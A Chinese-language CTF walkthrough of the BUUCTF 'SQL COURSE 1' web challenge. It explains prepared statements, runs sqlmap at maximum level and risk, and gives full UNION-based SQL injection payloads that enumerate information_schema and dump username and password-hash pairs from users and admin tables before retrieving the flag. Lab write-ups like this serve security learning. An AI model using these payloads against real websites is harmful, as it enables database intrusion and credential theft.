[BUUCTF-Basic]BUU SQL COURSE 1 超详细入门题解(Web CTF)
深入浅出,知无不答,言无不尽,力求详尽
我是re/pwn手,这两个方向学的更好,对学Web没什么兴趣,Web很菜,文章有什么错误还请大佬指正。
这篇文章我尽力每一个点都摸透,每一个细节都讲明白。
(由于Markdown编辑器还不会,所以文章看起来会很乱,不会用Markdown导致的...在学啦在学啦QAQ)
目录
一、审题环节
二、判断注入点
三、找到真正的点
四、构造payload
五、得到flag
六、彩蛋
一、审题环节
首先我们审题
一个"SQL",大概率是SQL注入没跑了,这是高频关键词,如果你不知道有哪些敏感的关键词↓
——————>点这里query($sql);
使用拼接查询语句的方法,这就存在sql注入的可能性。
如果是:
$sql = "SELECT * FROM users WHERE username = ? AND password = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $username, $password); $stmt->execute();
使用预处理查询语句的方法,那么就不存在SQL注入了。
拼接就如同名字一样,我们的操作被直接丢给SQL了,预处理则是我们的操作被视为一种参数,前端会以传参的方式,将我们的输入填充在数据段里,数据库会知道哪些是数据,哪些是需要执行的代码。
接下来,我们该找注入点了。
根据前面之前说的,我们来看看登录界面的情况
我们先随便输一点东西看看有什么反应。
URL栏没有出现查询语句,看看F12中的网络栏(这个界面可以看到所有网站请求),我们发现网页的请求方式是POST,而POST请求方法是不会在URL栏中显示的,GET请求才会出现在URL栏里,这两者的区别:
POST请求:
1、可以提交数据(你不仅能看还能改,这也是为什么一句话马是$_POST(eval("123")),
2、POST请求URL栏里看不到,只存在包里,正常手段是看不到的
3、不缓存(什么!你不知道什么是缓存??不缓存是指每次请求资源时,都会从服务器获取最新的版本,而缓存是指将资源存储在本地中,以便后续请求时可以直接使用,而不需要重新从服务器获取。)
GET请求:
1、只能查询数据(你只能看看)
2、GET请求会出现在URL栏里
3、有缓存
其它区别就不多说了,那我们切Burp suite截个包重放看一下
但是首先把拦截打开
然后启动代理
火狐扩展搜索FoxyProxy,下载安装后配置端口为8080(bp默认监听8080不用多设置)
接着访问网站,重试登录,拦截包如下:
放重放器试一下看看结果:
然后我试着改了一下包,不管怎么尝试回包都是res:0
// 单引号测试 { "username":"12'", "password":"12" } // 逻辑注入 { "username":"12' OR '1'='1", "password":"12" } // 注释符 { "username":"12' -- ", "password":"12" } 。。。。。
试试也没坏处,显然这个页面是没有SQL注入漏洞的。
(什么?你看不懂构造语句?点这里)、
(什么?你连数据库基础语法都不知道?看下面的代码块)
SELECT 字段名称 FROM 表名 WHERE 条件;
或者你已经厌倦了枯燥的手动测试,想试试Sqlmap(Linux为例)
vim request.txt编辑一个文件,然后里面放进包内容,像这样:
然后在request.txt的根目录下输入
sudo sqlmap -r request.txt -p username,password --level=5 --risk=3
-p可以指定字段参数,用逗号分隔,--level最高等级测试,--risk最高风险测试。
如果报错就不要按我的格式,把username和password中间的换行符删掉,
出现Too many requests错误的时候降低并发量
-
--threads=2:并发线程数为 2。
-
--delay=1:每次请求之间延迟 1 秒。
-
--timeout=10:请求超时时间为 10 秒。
-
--retries=1:请求失败后重试 1 次。
-
--safe-freq=3:在执行测试请求之前发送 3 次正常请求。
适当用用这些调整一下测试速度。
看来是几乎不可能被注入的点啊
还是换别的地方吧。
三、找到真正的点
回到首页,这底下一列测试新闻呢,让我看看怎么个事
一点就发现猫腻了
(记得复制这串地址...)
四、构造payload
一个GET方法的查询语句,前面已经演示过一部分手动了,手动要想象传参在数据库里执行是什么样子的,比自动化难多了。
这里偷偷懒,用sqlmap试试
三种类型的利用,布尔注入、时间戳、UNION联合查询
把这串来试试手动构造payload吧,打开Hackbar
页面还有东西显示的时候说明正确返回,一片黑就是执行错误。
从sqlmap的结果来看,得到我们想要的结果最接近的是联合注入的方法。
看看它的数据库是啥样的,flag应该在里面。
先摸索一下它的列数,这个最好探测,什么?看不懂探测语句,看看这->order by说明
接收数字参数的时候,就是第几列的意思啦
# 有结果 ?id=1 order by 1; # 有结果 ?id=1 order by 2; # 无结果 ?id=1 order by 3;
说明只有两列
然后我们换UNION select试试,先把网页查询的id换成数据库里不存在的id,这样数据库就会显示空的东西,我们就可以填充我们查询到的数据了。
再用联合查询
在继续之前先介绍一下数据库中的一些特殊字段和特殊函数:
-
特殊字段:
-
table_schema:表所属的数据库名称。
-
table_name:表的名称。
-
column_name:列的名称。
-
data_type:列的数据类型。
-
constraint_name:约束的名称。
-
index_name:索引的名称。
-
referenced_table_name:外键引用的表名。
-
routine_name:存储过程或函数的名称。
-
trigger_name:触发器的名称。
-
view_definition:视图的定义。
-
information_schema:存储数据库的元数据。
-
mysql:存储 MySQL 服务器的系统信息。
-
performance_schema:存储 MySQL 服务器的性能数据。
-
sys:提供对 performance_schema 数据的简化视图。
而像information_schema这类还有扩展,就是在语句后面加上字段,示例如下
# 表的信息 information_schema.tables
还有以下字段:
-
schemata:数据库信息。
-
tables:表信息。
-
columns:列信息。
-
statistics:索引信息。
-
table_constraints:表约束信息。
-
key_column_usage:外键信息。
-
user_privileges:用户权限信息。
-
views:视图信息。
-
triggers:触发器信息。
-
routines:存储过程和函数信息。
还有一些特殊函数:
-
字符串函数:GROUP_CONCAT、CONCAT、SUBSTRING、REPLACE。
-
聚合函数:COUNT、SUM、AVG、MIN、MAX。
-
数学函数:ROUND、ABS、POW。
-
日期函数:NOW、DATE、DATEDIFF。
-
条件函数:IF、CASE。
-
窗口函数:ROW_NUMBER、RANK、LEAD、LAG。
-
其他函数:COALESCE、NULLIF、CAST。
函数具体的作用我就不讲了,可以自己搜索一下。
回到题目上,我们已经知道UNION select 1,2;
页面会显示1,2的返回,那我们把2换成我们构造的语句,返回的就是数据库内容了
显示数据库名字:news
来个看起来更复杂一点的
?id=0 UNION select 1, ( select group_concat(schema_name) from information_schema.schemata);
查看所有库名
有个库名叫ctftraining,太明显了。
?id=0 union select 1, group_concat(table_name) from information_schema.tables where table_schema='ctftraining';
或者这么写(列出所有非系统的表,包括子表..所以要自己判断)
?id=0 union select 1, ( select group_concat(table_name) from information_schema.tables where table_schema NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') );
看看库里都有啥表呢
或者
发现FLAG_TABLE
看看列名
?id=0 union select 1, ( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining');
看看数据
?id=0 union select 1,( select group_concat(FLAG_COLUMN) from ctftraining.FLAG_TABLE);
啥?没有东西???
那只能看看上面那个user和password两个敏感列名了
先进users表看列名
?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' AND table_name='users');
接下来就访问看看用户名username和密码password
?id=0 union select 1,( select group_concat(username,':',password) from ctftraining.users);
"admin:21232f297a57a5a743894a0e4a801fc3, guest:084e0343a0486ff05530df6c705c8bb4, virink:a4346e75cc1dd161a8d57f3b2d5d82d0"
有三个用户哦
接下来去试试登录
没想到是错的(这里真不懂啊...为啥不对,难道这个是数据库的用户账号密码吗?)
五、得到flag
那回去看看admin这个表里有啥
?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_name='admin');
再访问看看内容
?id=0 union select 1,( select group_concat(username,':',password) from admin);
登录试一下
FLAG: flag{e85bebef-e7c7-484c-8466-afc4e02da303}
六、彩蛋
满足好奇心看了一下news表里有啥
# 看看news库的列名 ?id=0 union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' AND table_name='news'); # 看看具体数据 ?id=0 union select 1,( select group_concat(id,':',title,':',content,':',time) from ctftraining.news);
有点长我就复制到代码编辑器里看看
" 1:dog:The domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore.:1571838684, 2:cat:The cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.:1571838684, 3:bird:Birds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.:1571838684, 4:flag:Flag is in the database but not here.:1571838684 "
没想到还做了内容哈哈
-
-
-
-